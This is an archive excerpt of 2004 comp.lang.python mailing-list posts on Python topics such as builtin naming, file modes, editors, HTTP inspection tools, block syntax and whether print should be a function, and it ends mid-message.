an ambitious goal, to say the least. I suggest to keep the focus on this particular issue, if only to avoid a lot of debate and flaming. So -- keeping in mind my own suggestion -- I would like to focus on the particular case at hand: 1) sorted() and reversed() should return sequences. So sorted() stays like it, and reversed() meaning is changed. Now, that could potentially break a lot of code, but probably this is not going to happen -- because in most situations, reversed() is getting called 2) add two new builtins, called respectively xsorted() and xreversed(), as the iterator versions of sorted() and reversed(). This way we keep the existing naming convention for range() and xrange(). p.s. Please bear in mind that sort() and reverse() are methods, while sorted() and reversed() are builtin functions -- which is a big difference that wasn't accounted for in your initial statement of the problem. On Fri, 03 Sep 2004 15:10:48 +0200, Marco Aschwanden wrote: > I just read the changes for 2.4 and while scanning the list the past tense > built-ins got my attention: > > sorted() - a new builtin sorted() acts like an in-place list.sort() but > can be used in expressions, as it returns a copy of the sequence, sorted. > > reversed() - a new builtin that takes a sequence and returns an iterator > that loops over the elements of the sequence in reverse order (PEP 322) > > sort() works in-place. > reverse() works in-place. > > The past tense of sort() indicates that a copy of the sequence is returned. > The past tense of reverse() indicates that an iterator over the original > sequence is returned. > > To my eyes it lacks a bit of consistency... well both past-tense functions > return something (but different somethings although the concepts behind > sorting and reversing are similar - a possible future trap for the faq). > > It is a common trap that sort() and reverse() work in-place. Any tutorial > will warn you and still users fall into the trap over and over again... > One should take this as a usability weakness of the language! > > > I would like to see Python introducing a naming scheme for built-ins. Ruby > for example uses the ! to indicate an in-place function [sort() vs. > sort!()]. I know, that the exclamation mark is out of discussion but I > would appreciate to have a clear and distinct function naming (Explicit is > better than implicit). > > An example but not very well thought out: > > sort_inpl() -> in-place returns nothing > sort_copy() --> returns a sorted copy > sort_iter() -> returns an iterator over the original sequence > sort_copy_iter() -> returns an iterator on a copied and sorted sequence > > > > What do you think about a naming scheme? Do you have any proposals/ideas? > > Regards, > Marco > > -- > http://mail.python.org/mailman/listinfo/python-list > -- Carlos Ribeiro Consultoria em Projetos blog: http://rascunhosrotos.blogspot.com blog: http://pythonnotes.blogspot.com mail: carribeiro at gmail.com mail: carribeiro at yahoo.com From outpost at rumblefish.org Sun Sep 19 16:42:02 2004 From: outpost at rumblefish.org (Thomas D'Tak) Date: Sun, 19 Sep 2004 22:42:02 +0200 Subject: Documentation? file/open with tea References: Message-ID: On Sun, 19 Sep 2004 11:40:37 -0800, Eric Pederson wrote: > I've come across this file operation in others' code and have not seen any documentation for it: > the use of "t" in the mode of file opening, such as: > > f1=open(somefile, 'at') > f2=open(otherfile, 'rt') > > Is this merely another shorthand for a binary mode, or is there more going on with 't'? No, but for 'text' resp. 'translated' mode (though it comes from C/C++ on Windows). Python's documentation on 'open()' (resp. 'file()') says, that the first two arguments are the same as for C's stdio's 'fopen()'. And on Windows you will often find that fopen() supports 't' as a mode extension (like the well known 'b' for binary mode): 'b': open file in binary (untranslated) mode 't': open file in text (translated) mode; (e.g. look for Ctrl-z as EOF marker) Links: Python's file() resp. open(): http://www.python.org/doc/2.3.4/lib/built-in-funcs.html#built-in-funcs (E.g.) Visual C++'s fopen(): http://msdn.microsoft.com/library/default.asp?url=/library/en-us/vclib/html/_crt_fopen.2c_._wfopen.asp HTH, Th. From roo at try-removing-this.darkboong.demon.co.uk Sat Sep 11 13:08:57 2004 From: roo at try-removing-this.darkboong.demon.co.uk (Rupert Pigott) Date: Sat, 11 Sep 2004 18:08:57 +0100 Subject: Xah Lee's Unixism References: <4139561C.F52D4E4@yahoo.com> <10srj09tdkvim71i677g7eh7b2nk1qkmfm@4ax.com> <413f03cc$0$6914$61fed72c@news.rcn.com> <413F43AC.9D2088AF@yahoo.com> <10juvnrt88k4868@corp.supernews.com> <414069c6$0$6912$61fed72c@news.rcn.com> <41431db5$0$6923$61fed72c@news.rcn.com> Message-ID: <1094922538.168258@teapot.planet.gong> jmfbahciv at aol.com wrote: > In article , > "John Thingstad" wrote: > > There has been a request to [spit] these newsgroups. Where > do you read from? I'm over in a.f.c. > >>On Thu, 09 Sep 04 13:12:17 GMT, wrote: >> >> >>> I really want to know. People keep saying this but never say which >>> freedoms have been lost. >>> >> >>Since this is somewhat related to computer programming >>and AI I will reply. > > Thank you. I appreciate the effort. > >> >>The US has started a initiative to integrate all >>information about people in the USA into a central database. > > This is why I'm puzzled. This stuff is nothing new; about > the only difference is the detail. >> >>This includes confidential information like >>your medical files. Think what >>you say to your psychologist is confidential? > > It never was confidential. People talk; doctors confer. It > was off limits w.r.t. law enforcement but I think that had > more to do with not having to testify against yourself. The Hippocratic Oath demands that patient confidentiality be respected. I'm sure that there is plenty of material out there which explains why the Oath exists and why it might be desirable. -- Cheers, Rupert From adurdin at gmail.com Sun Sep 5 18:22:51 2004 From: adurdin at gmail.com (Andrew Durdin) Date: Mon, 6 Sep 2004 08:22:51 +1000 Subject: [Python-Dev] Alternative placeholder delimiters for PEP 292 In-Reply-To: <1094398089.8144.39.camel@geddy.wooz.org> References: <59e9fd3a040829231141cd3fe4@mail.gmail.com> <1094315616.8721.44.camel@geddy.wooz.org> <59e9fd3a0409041520114d0604@mail.gmail.com> <1094398089.8144.39.camel@geddy.wooz.org> Message-ID: <59e9fd3a040905152243efcb2@mail.gmail.com> On Sun, 05 Sep 2004 11:28:09 -0400, Barry Warsaw wrote: > > It's explained in the section of the PEP titled "Why $ and Braces?". I quote that section entirely: """The BDFL said it best: The $ means "substitution" in so many languages besides Perl that I wonder where you've been. [...] We're copying this from the shell.""" That states that the $-substitution is common in other languages, and was copied from the shell. It does not provide a case for the merits of $ substitution (as opposed to using other delimiters), nor a rationale why copying from another language is a good idea in this instance. From daniel at syrinx.net Tue Sep 14 07:14:02 2004 From: daniel at syrinx.net (Daniel Ellison) Date: Tue, 14 Sep 2004 07:14:02 -0400 Subject: Ranting about the state of Python IDEs for Windows In-Reply-To: References: Message-ID: <2qo1v3F11r4inU1@uni-berlin.de> Rob McCrea wrote: > Carlos Ribeiro wrote: > >> I'm frustrated. My search for a good IDE to support my activities -- >> doing development for Python in the Windows environment -- are not >> being succesful as I had originally dreamt. > > > > As mentioned, it's rather fully customizable, easy to add a new file > > > type and appropriate extensions > > > My search for a good IDE ended years ago when I started learning C++, > and found EditPlus, http://www.editplus.com/ -- $30, free 30 day trial > (last I knew.) > It *has* to be mentioned, of course, that Vim (http://www.vim.org) has nearly every feature mentioned about EditPlus and all the other IDEs, including syntax highlighting (for Python, even!:), column selection (and block selection, and line selection), regex, match brace, etc. Running on Cygwin you have easy access to grep, make, and all other nifty *nix development tools. But failing that, there's a Windows grep (http://www.wingrep.com/) and a host of other ported utilities (http://jrfonseca.dyndns.org/projects/gnu-win32/software/ported/, for example). Best of all, Vim is free (well, it's "charityware") and /very/ stable. I can honestly say that in 10 years I have *never* had Vim crash on me. As rumoured, it does take a little getting used to, but the rewards are worth it. No, I'm not trying to start yet another editor war! I'm just pointing to a useful tool that often gets overlooked in this GUI world of ours. But then, there's always Gvim... Dan From MichaelNatinger at yahoo.com Wed Sep 8 20:24:20 2004 From: MichaelNatinger at yahoo.com (Michael) Date: 8 Sep 2004 17:24:20 -0700 Subject: view http info when browsing References: <56d498d9.0409051725.1c7d3258@posting.google.com> Message-ID: <8614308.0409081624.57379c36@posting.google.com> Ben, I am using iewatch (iewatch.com) quite a bit and it works great in showing me the cookie information, both for request cookies and response cookies (look for the Cookie and Set-Cookie headers). There is a fully functional 21 day trial version available and it only costs a fraction of what httpwatch is charging. Michael santoshamb at yahoo.com (ben) wrote in message news:<56d498d9.0409051725.1c7d3258 at posting.google.com>... > I'm trying to write a web client script in python to log onto a web > page and pull some information off of it. The page has quite a few > behind the scenes http things going on that are making it difficult to > write the python script. I think if I could see the raw http data > that comes to my browser life would be much easier. Does anybody know > of programs that would run alongside my browser and show the http data > that is send back and forth? > > I've looked at plugins like httpwatch and iewatch. httpwatch looks > good but it costs quite a bit of money, and the trial is not fully > functional. iewatch has a free trial, but they don't show cookie > info, which is important. > > Does anybody know a good way of view the raw http? > > Thanks for your help, > > Ben From rattan at cps.cmich.edu Wed Sep 1 20:26:15 2004 From: rattan at cps.cmich.edu (Ishwar Rattan) Date: 1 Sep 2004 17:26:15 -0700 Subject: .pyc files?? Message-ID: <938a4680.0409011626.3b047658@posting.google.com> Say a filea.py contains a number of functions defined in it (using def afn(): etc.) in pyhton, filea is imported to use afn (filea.afn() etc.), it cerates a filea.pyc file, what is the purpose of this file? -ishwar From Joseph.Greer at pfizer.com Fri Sep 10 15:36:12 2004 From: Joseph.Greer at pfizer.com (Greer, Joseph) Date: Fri, 10 Sep 2004 15:36:12 -0400 Subject: Python bell or beep Message-ID: <1B64CD41A257784EAD82424FC8915F840EADC11C@NYCEXMB15.pfizer.com> I am a former BASIC programmer. Is there a command I can place in a Python program to make a beep or buzz or bell? Sincerely, Joseph Greer Pfizer Inc. - Corp Info Tech Assoc Director Regional Data Center Programs 201 Tabor Road, MS 79-1 Morris Plains, NJ 07960-2693 973-385-0865 joseph.greer at pfizer.com -------------- next part -------------- An HTML attachment was scrubbed... URL: From fuzzyman at gmail.com Mon Sep 27 16:28:35 2004 From: fuzzyman at gmail.com (Fuzzyman) Date: Mon, 27 Sep 2004 21:28:35 +0100 Subject: Catching Exceptions. References: Message-ID: On Mon, 27 Sep 2004 08:44:52 -0700, "Keith Bolton" wrote: >I am handling exceptions currently using try, except. Generally I don't >handle specific exceptions and am catching all. >Then if an exception occurs, I would like to capture that error string. > However, in the documentation it seems like >there is not a way to get the extra str data if you are handling all >exceptions and not specifically. Is there? > >thanks > >-keith http://aspn.activestate.com/ASPN/Cookbook/Python/Recipe/259180 Above link is a simple recipe that will just extract the text of an exception. HTH Regards, Fuzzy http://www.voidspace.org.uk/atlantibits/pythonutils.html From apardon at forel.vub.ac.be Wed Sep 1 02:36:30 2004 From: apardon at forel.vub.ac.be (Antoon Pardon) Date: 1 Sep 2004 06:36:30 GMT Subject: allowing braces around suites References: <1r3c28g6o9.fsf@rovereto.ifi.uio.no> <1rk6vkeo5d.fsf@rovereto.ifi.uio.no> <87hdqok9i6.fsf@sinken.local.csis.hku.hk> <1rfz68ely9.fsf@rovereto.ifi.uio.no> <876574k7du.fsf@sinken.local.csis.hku.hk> <1r3c28ejis.fsf@rovereto.ifi.uio.no> <1rllg0cb3m.fsf@rovereto.ifi.uio.no> <874qmovxna.fsf@sinken.local.csis.hku.hk> Message-ID: Op 2004-08-31, Sam Holden schreef : > On 31 Aug 2004 14:59:07 GMT, Antoon Pardon wrote: >> Op 2004-08-31, Sam Holden schreef : >>> On 31 Aug 2004 10:33:07 GMT, Antoon Pardon wrote: >>>> Op 2004-08-28, Isaac To schreef : >>>>>>>>>> "Kjetil" == Kjetil Torgrim Homme writes: >>>>> >>>>> Kjetil> after all, code in _any_ language written by a >>>>> Kjetil> professional will have strict indentation. so it's just >>>>> Kjetil> syntax. >>>>> >>>>> No. In all other languages, people deal with *two* ways to find which >>>>> statement is associated with an if/while/for/whatever statement and >>>>> which is not: by looking at the indentation, and by looking at the >>>>> braces. They normally look at the indentation, since it is the >>>>> quicker way. But when they find something wrong, they look at the >>>>> defining braces, sometimes deeply hidden in long expressions and >>>>> statements combined into one line. In Python, we have *one and only >>>>> one* way to find which statement is associated with an >>>>> if/while/for/whatever statement, and this is the quicker way that >>>>> people are used to. >>>> >>>> I doubt that. >>>> >>>> I used to limit myself to indentation to see which code belonged >>>> to which control. But then I found myself witch controls that >>>> were so nested it was hard to see to which if a particular >>>> else suite belonged and I started to use end markers in comments >>>> to make the structure more visible. >>> >>> Deep nesting is a bad sign in itself, >> >> Why? > > Because it is often hard to read - as you stated by saying you needed > to add end markers to make the structure more visible. That is IMO not a problem of the nesting but the problem of a language that doesn't provide a clear mark for when a nesting ends. In python when you enter a nesting, that is always clear because entering always happens one level at a time. But leaving a nesting is not so clear because you can leave more then one nesting at the time. This makes it less readable. Providing end markers would provide the same visible clues about leaving a nesting as there already are for entering. Sure you can avoid indentation by writing functions. But IMO that only helps if you can abstract some part of the algorithm. If no names comes to mind for how to call such a function writing such functions IME makes the code less readable. End yes sometimes your code is still not readable with end markers. In that case the nesting is indeed the reason why the code is not readable and you better look for a way to refactor your code. > "Nest as deeply as you can." is one of the obfuscation techniques, > recommended in "How To Write Unmaintainable Code"[1] (and it is > refering to languages which use {}s), so there is some evidence > this is an opinion held by more people that just me... That one go to extremes in nesting so that no visible clue will help you in understanding what is going on is certainly true, but it doesn't contradict that more visible clues can make things more readable. > It often goes hand hand in hand with long functions, which > I also assert are hard to read. > > 1. http://mindprod.com/unmain.html I only rarely write long functions. >> >>> regardless of how a language >>> specifies block structure. Making the code readable by removing >>> the unreadable nesting seems a far better solution than adding >>> end markers. >> >> The nesting reflects the structure of the algorithm. If an algorithm >> is best described by the nesting of a number of control structures >> then i don't see how you are going to remove that nesting. > > Functions, classes if the state requirements are such that you would > be passing too many arguments to/collecting too many results from each > function. > > Readability counts, and all that... Yes and IMO readability can sometimes more be helped by having end markers then by dividing your code in functions just to avoid deep nesting. Just as sometimes readbility is harmed more by dividing that long function then by keeping it. -- Antoon Pardon From benn at cenix-bioscience.com Wed Sep 8 04:22:06 2004 From: benn at cenix-bioscience.com (Neil Benn) Date: Wed, 08 Sep 2004 10:22:06 +0200 Subject: Pyhtonic UML was 'Re: How to actually write a program?' In-Reply-To: References: Message-ID: <413EC12E.2070605@cenix-bioscience.com> Ville Vainio wrote: > >There should really be a pythonic alternative to UML. > Hello, I've not commented about my original UML post because I didn't want to start a row about UML. However I do like your idea of a simpler cleaner UML to allow to go back and forth without needing a full blown UML case tool. The thing I really like about this is that you could write this and easily convert it into your source code (if round-trip engineering yanks your chain) or to XMI so it can be exported/imported from/to other systems. I'm gonna have a go at writing one of my designs (sequence is easy - class would be more difficult) down in a pure way to see if I can get it to be readable, clean and obvious. On the XP side, sorry but I do think that the two really do go hand in hand - every XP programmer will have an overall idea of how the system works (on paper or in head), if it is a team of programmers then you will have a design written down somewhere (or how do you all work together). In addition, every UML 'round-trip' enthusiast will have some tests in their code - it may not be as rigorous as XP but they will have tests. To my mind the best solution is to have both systems - trying to understand a large 'enterprise' class system without UML can be a real pig. If I have the class diagram(s) with supporting sequence diagrams then I can easily work out how it all fits together. If I have the tests written for me then I can run the tests for each module of the system and investigate the behavior under the various conditions as laid out in the requirements specification. One other thing about XP, tests are also excellent for the maintainability of code, running the tests on all code in your source repository (at midnight, when else!!) and reporting back the errors really allows you to keep a hold on your body of source code. Anyway my new laptop with an English (read British, the pound - currency - sign is proudly sitting above the 3 where it should be!) keyboard has just turned up so I'm gonna have a play!! Cheers, Neil -- Neil Benn Senior Automation Engineer Cenix BioScience BioInnovations Zentrum Tatzberg 47 D-01307 Dresden Germany Tel : +49 (0)351 4173 154 e-mail : benn at cenix-bioscience.com Cenix Website : http://www.cenix-bioscience.com From aleaxit at yahoo.com Mon Sep 27 16:41:43 2004 From: aleaxit at yahoo.com (Alex Martelli) Date: Mon, 27 Sep 2004 22:41:43 +0200 Subject: Metaclass with name overloading. References: <3c13hh0e.fsf@python.net> <1gkscau.19ue35c1sy5t7mN%aleaxit@yahoo.com> Message-ID: <1gksmsx.1le4vn1yph9hhN%aleaxit@yahoo.com> Ville Vainio wrote: ... > >>>>> "Alex" == Alex Martelli writes: > > Alex> For overload purposes, you might have the decorator actually > Alex> take as arguments some _types_ and record them so that the > Alex> metaclass can arrange for the dispatching based on > Alex> actual-argument types... > > I believe several implementations of generic functions/multimethods in > Python exist already; Quick googling brings up > > http://mail.python.org/pipermail/python-dev/2004-April/043902.html They exist, but you can't just 'def thesamename(....):' more than once within a class, which is what the OP asked for. Building on Heller's hint I showed how to allow that with a decorator, that's all. Alex From mark at prothon.org Wed Sep 1 02:28:25 2004 From: mark at prothon.org (Mark Hahn) Date: Tue, 31 Aug 2004 23:28:25 -0700 Subject: Announcing PyCs, a new Python-like language on .Net References: <99dce321.0408292132.36ef381e@posting.google.com> Message-ID: On 29 Aug 2004 22:32:17 -0700, David M. Wilson wrote: > Mark Hahn wrote in message news:... > >> Please join the PyCs team. The only effort involved is particpating in a >> low-traffic, high-content, mailing list. You will be able to influence the >> design of the latest and greatest dynamic language. > > Hi there. What are you trying to achieve? You have yet to complete > Prothon or even stabilise it for long enough to let me get a good > overview of it. Their is a quite good tutorial that you could get an overview quite easily from. > Might I suggest you take a step back and actually > think about what you are doing rather than just implementing whatever > happens to be considered cool today. Did you actually read the news release explaining this action? Please get the facts before judging. > Also judging by what I've seen of Prothon and read here, neither of > your proposed languages are either Python-like or related to this > group. Tim Peters and Guido both disagree with you. They have both told me to post here and keep the community informed of my work. They consider Prothon a "sandbox" that Python can learn from. > Might I suggest you sit down with a paper and a pen and work out what > problem you are actually trying to solve, it is starting to get rather > embarrassing to watch the antics here. At the very least could you > spell check your postings before sending them. I'm sorry, how did I embarrass you and what did I misspell? > There are also much better forums to discuss language development on > than comp.lang.python. Prothon and PyCs are discussed heavily on other forums. Dicussion here is rare. > Sorry for the flame, but you really need it. Exactly what are you accomplishing with this flame? It seems to me that you are just showing your ignorance about Prothon and it's relationship to the Python community. From apardon at forel.vub.ac.be Wed Sep 8 02:13:48 2004 From: apardon at forel.vub.ac.be (Antoon Pardon) Date: 8 Sep 2004 06:13:48 GMT Subject: allowing braces around suites References: <1r3c28g6o9.fsf@rovereto.ifi.uio.no> Message-ID: Op 2004-09-07, Jeremy Bowers schreef : > On Tue, 07 Sep 2004 08:27:25 +0000, Antoon Pardon wrote: >> Well I have the following proposition. I don't expect this >> to be implemented in the current python implementation, >> maybe something for python 3000. But just think about it. > > You're wasting your time, you know. Nobody here has the power to say "yes" > to this. So? I see plenty of people waste their time here. > http://www.python.org/dev/process.html > http://www.python.org/peps/pep-0001.html > > If you really want to see this, those documents tell you how to try to get > it in. You're obviously committed to this, so why not try it right? I'm not commited to get this in. I just like to explore the idea. If you don't want to explore with me, that is fine, just ignore this thread. > Any continued conversation here is a waste of time (the issues have been > hashed out, at least twice each), And it will probably hased out a third time and more. And no I will not be the one that brings it up again. > and the only conceivable reason to > continue is that you enjoy whining. No amount of posting to c.l.p will > change anything. Well the only conceivable reason that you reply must be that you enjoy replying to a whiner. Surely I couldn't take that pleasure from you. -- Antoon Pardon From ptmcg at austin.rr._bogus_.com Tue Sep 7 08:07:48 2004 From: ptmcg at austin.rr._bogus_.com (Paul McGuire) Date: Tue, 07 Sep 2004 12:07:48 GMT Subject: any suggestions for URL cataloging project? References: Message-ID: "Matthew K Jensen" wrote in message news:a8dfce8c.0409062258.269b1b35 at posting.google.com... > I've just come up with an idea to make a small-time record of web > pages linking to other web pages. I don't want to download every page > on the internet (I'll leave google to do that). I just want to know if > anyone has any suggestions on how to acquire just the links from a web > page using python. This is for a cataloging purpose. Is there some > library or script out there that I haven't heard of? One of the examples that comes with pyparsing is urlextractor.py. Point it at a web page and it lists out the urls and linked text. Download pyparsing at http://pyparsing.sourceforge.net. -- Paul From in.aqua.scribis at nl.invalid Sat Sep 4 12:04:50 2004 From: in.aqua.scribis at nl.invalid (Peter Kleiweg) Date: Sat, 4 Sep 2004 18:04:50 +0200 Subject: How to actually write a program? In-Reply-To: References: Message-ID: Ksenia Marasanova schreef: > > Any ideas about this problem :-) > > I dont' know if this is a 'right' approach, but if the program has user > interface, it helps also first to create this user interface. That way > you'll be able to visualize what information your program needs to get > and to send back. It can be easier then to define classes and > methods... I disagree. In that case, better to define the data structures you're program is going to manipulate. -- Peter Kleiweg L:NL,af,da,de,en,ia,nds,no,sv,(fr,it) S:NL,de,en,(da,ia) info: http://www.let.rug.nl/~kleiweg/ls.html From peter at engcorp.com Tue Sep 14 16:24:02 2004 From: peter at engcorp.com (Peter Hansen) Date: Tue, 14 Sep 2004 16:24:02 -0400 Subject: comparing datetime with date In-Reply-To: References: Message-ID: <_YadnaNopM35ztrcRVn-gg@powergate.ca> Diez B. Roggisch wrote: > Donnal Walter wrote: >>How can these two objects be considered equal? Is there a *general* way >>to test for date != datetime as well as 4.5 != 4.6? > > Try making a datetime-object from your date, with zeros for the time part - > then you'll get what you want. While trying to provide my first answer, I thought of suggesting this, but there doesn't appear to be a simple way of doing it. It looked like the following was the best I could do (where 'x' is a datetime.date object): z = datetime.datetime(x.year, x.month, x.day) I just found timetuple(), which means this could be written in the awful form: z = datetime.datetime(*x.timetuple()[:3]) but that's hardly better, and definitely more inscrutable. To answer Donnal's question above, however, it appears this might be a reasonable approach: >>> x.timetuple() == y.timetuple() False Not sure there's a better approach readily available. -Peter From __peter__ at web.de Mon Sep 27 11:01:18 2004 From: __peter__ at web.de (Peter Otten) Date: Mon, 27 Sep 2004 17:01:18 +0200 Subject: Optimizing tips for os.listdir References: Message-ID: Thomas wrote: > I'm doing this : > > [os.path.join(path, p) for p in os.listdir(path) if \ > os.path.isdir(os.path.join(path, p))] > > to get a list of folders in a given directory, skipping all plain > files. When used on folders with lots of files, it takes rather long > time to finish. Just doing a listdir, filtering out all plain files > and a couple of joins, I didn't think this would take so long. > > Is there a faster way of doing stuff like this? If you are on windows, Michael Peuser reported a significant speed up obtained by using win32api.FindFiles() instead of the portable stuff: http://groups.google.com/groups?selm=bhalk1%24qlv%2406%241%40news.t-online.com Peter From reply.in.the.newsgroup at my.address.is.invalid Wed Sep 15 04:10:03 2004 From: reply.in.the.newsgroup at my.address.is.invalid (Rene Pijlman) Date: Wed, 15 Sep 2004 10:10:03 +0200 Subject: IDLE vs. the command line? References: Message-ID: Otto T Hyvarinen: >We have this big Python program, developed by another institute, that >uses C extensions a lot. One of those C methods does the segmentation >fault when run from the command line, but _not_ when run from the IDLE. >This is quite strange. Shit happens. When a program is correct, it will work. But when a program is incorrect, there is no guarantee that it will fail. >What is different when a program is run in IDLE? Or is there no >difference and our case is just a fluke? Or should I update my Python >knowledge (and how)? You should probably debug the C extensions. -- Ren? Pijlman From bokr at oz.net Sun Sep 26 17:39:10 2004 From: bokr at oz.net (Bengt Richter) Date: 26 Sep 2004 21:39:10 GMT Subject: up with PyGUI! References: <2rfnp6F19gkpkU1@uni-berlin.de> <4152D05B.9020909@zephyrfalcon.org> <2rhjmpF1at3kjU1@uni-berlin.de> <864d3709040924070115d9d98a@mail.gmail.com> <18A862E6-0F37-11D9-B926-003065B11E84@leafe.com> <864d370904092515311da67bb6@mail.gmail.com> Message-ID: On 26 Sep 2004 05:35:03 GMT, "OKB (not okblacke)" wrote: >Bengt Richter wrote: > >> myFrame = ( >> Frame( >> Sizer( >> CustButton(size= ... etc), >> CustButton(size= ... etc), >> Panel( >> Sizer( >> CustListBox(etc), >> CustListBox(etc), >> CustButton(etc), >> Text( etc ) >> ) >> ) >> ) >> ) >> ) > > One problem with this is that it's not possible to define methods >on your widgets in this kind of structure. ^^-- I take it you mean within... Hm, yes. Need a full lambda or "anonymous def" to do that inline. At least for non-trivial methods. Wasn't thinking about that. Hm, "not possible" pushes a button somewhere deep in my psyche though. I guess it's the occasional reward of discovery that keeps the circuit alive ;-) Not sure ... ;-) > >>>If Python's syntax were more flexible, this could perhaps be done >>>in other ways -- I'm not saying I want that -- but as it is the >>>only real way to construct nested structures in Python is with >>>class definitions. >> You don't mean that ("...only real way...") as broadly as it >> sounds, do you? > > Sorry, you're right. Obviously dictionaries and lists can be >nested. A key point, though, is the one I mentioned above: classes are >the only structure which allow you define nested structures with >arbitrary in-line code. The "in-line" proviso there may seem obtuse, >but I think it's important. For instance, if you define a button, you >should be able to define the event handler for a click on that button >right there, as part of writing the button code. Having to separate the >event-handling code out into a separate routine leads to >spaghettification, and also introduces a bunch of naming problems (you >need to have a consistent naming convention that links a widget to its >event handler). whatever = factory(""" any source format you like # ;-) """) Not entirely kidding. > > (Also, just for the record: I know you can nest function >definitions in other functions, but this isn't useful here because I was going to chase down that rabbit trail a bit ;-) >there's no way to access the nested function definition from outside the There you go again, pushing the "no way" button ;-) >enclosing function, whereas you can reference nested classes with normal >attribute access.) The trouble with accessing nested functions is there's no unboxed way to mutate closure variables, otherwise I think you could get around the "no way" building on something like >>> def nester(*args, **kw): ... def foo(*a,**k): print 'foo here with', args, a, k ... def bar(*a,**k): print 'bar here with', args, a, k ... def accessnest(self, name, *args, **kw): ... return getattr(self, name)(*args, **kw) ... accessnest.foo = foo ... accessnest.bar = bar ... accessnest.__dict__.update(kw) ... return accessnest.__get__(accessnest) ... >>> callnested = nester('nester arg', outsider=lambda x: 2*x) >>> callnested('foo', 1,2, hi='ho') foo here with ('nester arg',) (1, 2) {'hi': 'ho'} >>> callnested('bar') bar here with ('nester arg',) () {} >>> callnested('outsider', ' xxx') ' xxx xxx' >>> callnested('outsider', 123) 246 Not that this is crisp and clean and lean as a way of expressing design intent ;-) Regards, Bengt Richter From RobMEmmons at cs.com Sat Sep 4 09:28:55 2004 From: RobMEmmons at cs.com (Robert M. Emmons) Date: Sat, 04 Sep 2004 08:28:55 -0500 Subject: Question: tools for business apps development In-Reply-To: References: Message-ID: <4139C317.2010306@cs.com> > For > my purposes, it must be a native app (wxWidgets, GTK or Qt-based). A > web application will not do it (although I would love it). Keep in mind that it is still possible to write an XUL application with Mozilla this way, and for example ActiveState has done this to develop their IDE. One could for example write an application that is local and then later could be web based. I've not used XUL but it looks interesting. In a sense maybe this approach is not so different from what MS is calling "Avalon" (?) -- the latest and greatest MS vaporware. I've used Tkinter which has a long history and is probably the most portable and stable -- but I've been thinking of trying out wxWidgits. GTK+ is really for linux only -- but there is a port to windows, and QT -- just be careful with the liscence, it is not free when writing commercial code. > Now, a friend of mine asked > me to write a new app for his company, and a I suggested doing it in > Python. I can only tell you what my impression is regarding python -- it would be good to hear from others. Most businesses probably use VB or Java for what your talking about (or perhaps C++). I'm not trying to encourage that -- and in fact I like and use python. I have used python for a few applications for the business I work for -- Tkinter based and I sued PythonWin IDE. As you say, the development tools were rather primative -- and tkinter though claiming to be native -- is not exactly so. ActiveState provides some commericial tools -- you might want to take a look and they also provide a plugin for MS Visual Studio. This is also a wonder -- is there Python support in Eclipse? I'm not certain. > -- Which IDEs are better suited for business apps? I use PythonWin for > most of my scripting work in Windows. On occasion, I edit in PythonWin > or SciTE and run using the command line interpreter. I've downloaded > Boa and PythonCard, and while both work (to a reasonable degree), I > found both lacking for a RAD style development cycle. Are these tools > being used for production code? I don't know. Be good to hear from others. By the way, emacs also has a python mode. I personally have been thinking of looking at Boa but have not used it. > -- Which free design tools are being actively used for business app > development? (includes database-design, UML, etc). There are many > tools available around, but most seem to be abandoned, or were used > for some specific task and never touched again. I would like to know > more about what is actually being used in production environments. Don't know. Maybe others know. Take care, Rob From aleaxit at yahoo.com Sat Sep 4 05:00:27 2004 From: aleaxit at yahoo.com (Alex Martelli) Date: Sat, 4 Sep 2004 11:00:27 +0200 Subject: print with no newline References: Message-ID: <1gjjwui.1a7uezy1c8ncmkN%aleaxit@yahoo.com> Tim Golden wrote: ... > I would *not* reasonably expect print to be a function. Why > should it be? Because the concept of print being a statement it has no true advantage, and several disadvantages, compared with the obvious alternative of it being a built-in function. 'print' becomes a keyword, which is always a cost -- try accessing a member named 'print' in any kind of ffi or distributed-programming interface (be it COM, Corba, xml/rpc, whatever) and you'll see why minimizing reserved words is a great thing... try making a dict with the string 'print' as a key and suddely you can't use the cool syntax dict(akey=23) and have to quote... you can't use print in a lambda nor any other expression, you can't pass print to a higher order function requiring a callable, you can't store it in a list of dict -- all wonderful things you can do with functions but not with statements. Hoping that you can see there ARE disadvantages in having print be a statement, let's look for advantages. The ability to not use parentheses isn't really one -- parentheses are nice, they let you just break long lines as needed for example. If lack of parentheses WERE important, Python would support "foo bar" meaning foo(bar), but it doesn't. What else? The mysterious end-with-a-comma syntax to remove the default newline? Teaching that to beginners is a chore, while a function would have a keyword argument such as endline=True, and passing endline=False would suppress the end-line. Instead of the horrid >>file syntax we'd have file=sys.stdin. And if the BDFL ever decides some other optional nondefault behavior is warranted, having keyword args would make expressing it a snap, while, with print as a statement, it's a huge problem. I hope you see now why many of us hard-boiled Pythonistas dislike print being a statement and consider it a wart in Python. > Certainly any move to remove the print statement > from the language or to replace it by a print function would > get my thumbs-down (or whichever way round the Romans did it). We'll fight that batte at Python 3.0 time, then. And I'm giving some of my side's ammunition away, tch...!-) What heartens me is that it's not only the usual suspects -- experts who typically teach Python to other experienced programmers, not to total newbies -- who agree with me on this; I have an ally on this specific subject who's among the paladins of NON-programmers... my wife, Anna (her background is primarily in training -- she started programming relatively recently, and with Python as her first language discounting the modest Basic and Pascal exposure she got back in high school). While the BDFL is typically not really swayed by argument -- what does help him make up his mind is one of life's mysteries... -- he doesn't discount argument 100%, so you guys liking print as a statement should eventually start preparing your own arguments (no hurry, Python 3.0 won't happen for years yet). They don't have to be quite as powerful as those for print being a builtin function (they can't -- print being a builtin function is RIGHT, it being a statement is WRONG, so obviously the arguments for the former stance are inherently more powerful than those for the latter!-) but they need to be decent enough to help Guido rationalize what his nose suggests ot him, should that suggestion lean towards keeping print a statement...!-) Alex From PeterAbel at gmx.net Thu Sep 9 17:06:36 2004 From: PeterAbel at gmx.net (Peter Abel) Date: 9 Sep 2004 14:06:36 -0700 Subject: simple string parsing ? References: <0C77C7530EA52A4EBD1C47C80D1D291E17DE7A@sbs.GuidanceBV.local> Message-ID: <21064255.0409091306.1b0ab8e8@posting.google.com> TAG wrote in message news:... > Thanks for this -I will lookit TPG :) > > Tonino > > > On Thu, 9 Sep 2004 16:20:15 +0200, Marc Boeren wrote: > > > > > > > > > =+GC142*(GC94+0.5*sum(GC96:GC101)) > > > > > > and I want to get : > > > > > > ['=', '+', 'GC142', '*', '(', 'GC94', '+', '0.5', '*', 'sum', '(', > > > 'GC96', ':', 'GC101', ')', ')'] > > > > > > how can I get this ?????? > > > > The quick and dirty way: you have a formula containing a lot of > > delimiters. Any part of the string that is not a delimiter is grouped > > into a substring. So: > > > > >>> formula = 